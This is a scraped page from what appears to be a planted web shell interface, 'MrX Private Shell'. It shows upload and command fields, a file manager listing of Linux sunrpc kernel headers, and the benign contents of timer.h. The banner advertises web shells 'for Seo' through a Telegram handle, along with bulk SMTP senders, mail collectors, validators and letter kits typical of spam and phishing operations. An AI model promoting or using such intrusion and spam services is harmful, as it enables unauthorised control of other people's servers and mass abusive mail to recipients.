__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0 */
/*
 *  linux/include/linux/sunrpc/timer.h
 *
 *  Declarations for the RPC transport timer.
 *
 *  Copyright (C) 2002 Trond Myklebust <[email protected]>
 */

#ifndef _LINUX_SUNRPC_TIMER_H
#define _LINUX_SUNRPC_TIMER_H

#include <linux/atomic.h>

struct rpc_rtt {
	unsigned long timeo;	/* default timeout value */
	unsigned long srtt[5];	/* smoothed round trip time << 3 */
	unsigned long sdrtt[5];	/* smoothed medium deviation of RTT */
	int ntimeouts[5];	/* Number of timeouts for the last request */
};


extern void rpc_init_rtt(struct rpc_rtt *rt, unsigned long timeo);
extern void rpc_update_rtt(struct rpc_rtt *rt, unsigned timer, long m);
extern unsigned long rpc_calc_rto(struct rpc_rtt *rt, unsigned timer);

static inline void rpc_set_timeo(struct rpc_rtt *rt, int timer, int ntimeo)
{
	int *t;
	if (!timer)
		return;
	t = &rt->ntimeouts[timer-1];
	if (ntimeo < *t) {
		if (*t > 0)
			(*t)--;
	} else {
		if (ntimeo > 8)
			ntimeo = 8;
		*t = ntimeo;
	}
}

static inline int rpc_ntimeo(struct rpc_rtt *rt, int timer)
{
	if (!timer)
		return 0;
	return rt->ntimeouts[timer-1];
}

#endif /* _LINUX_SUNRPC_TIMER_H */

Filemanager

Name Type Size Permission Actions
xdrgen Folder 0755
addr.h File 4.94 KB 0644
auth.h File 6.11 KB 0644
auth_gss.h File 2.31 KB 0644
bc_xprt.h File 1.98 KB 0644
cache.h File 9.07 KB 0644
clnt.h File 9.04 KB 0644
debug.h File 2.76 KB 0644
gss_api.h File 4.45 KB 0644
gss_err.h File 5.88 KB 0644
gss_krb5.h File 6.29 KB 0644
metrics.h File 3.68 KB 0644
msg_prot.h File 6.21 KB 0644
rdma_rn.h File 709 B 0644
rpc_pipe_fs.h File 3.85 KB 0644
rpc_rdma.h File 6.07 KB 0644
rpc_rdma_cid.h File 622 B 0644
sched.h File 10 KB 0644
stats.h File 1.9 KB 0644
svc.h File 19.16 KB 0644
svc_rdma.h File 10.48 KB 0644
svc_rdma_pcl.h File 3.13 KB 0644
svc_xprt.h File 8.07 KB 0644
svcauth.h File 6.05 KB 0644
svcauth_gss.h File 782 B 0644
svcsock.h File 1.92 KB 0644
timer.h File 1.14 KB 0644
types.h File 497 B 0644
xdr.h File 22.89 KB 0644
xprt.h File 16.36 KB 0644
xprtmultipath.h File 2.34 KB 0644
xprtrdma.h File 2.95 KB 0644
xprtsock.h File 1.85 KB 0644
Filemanager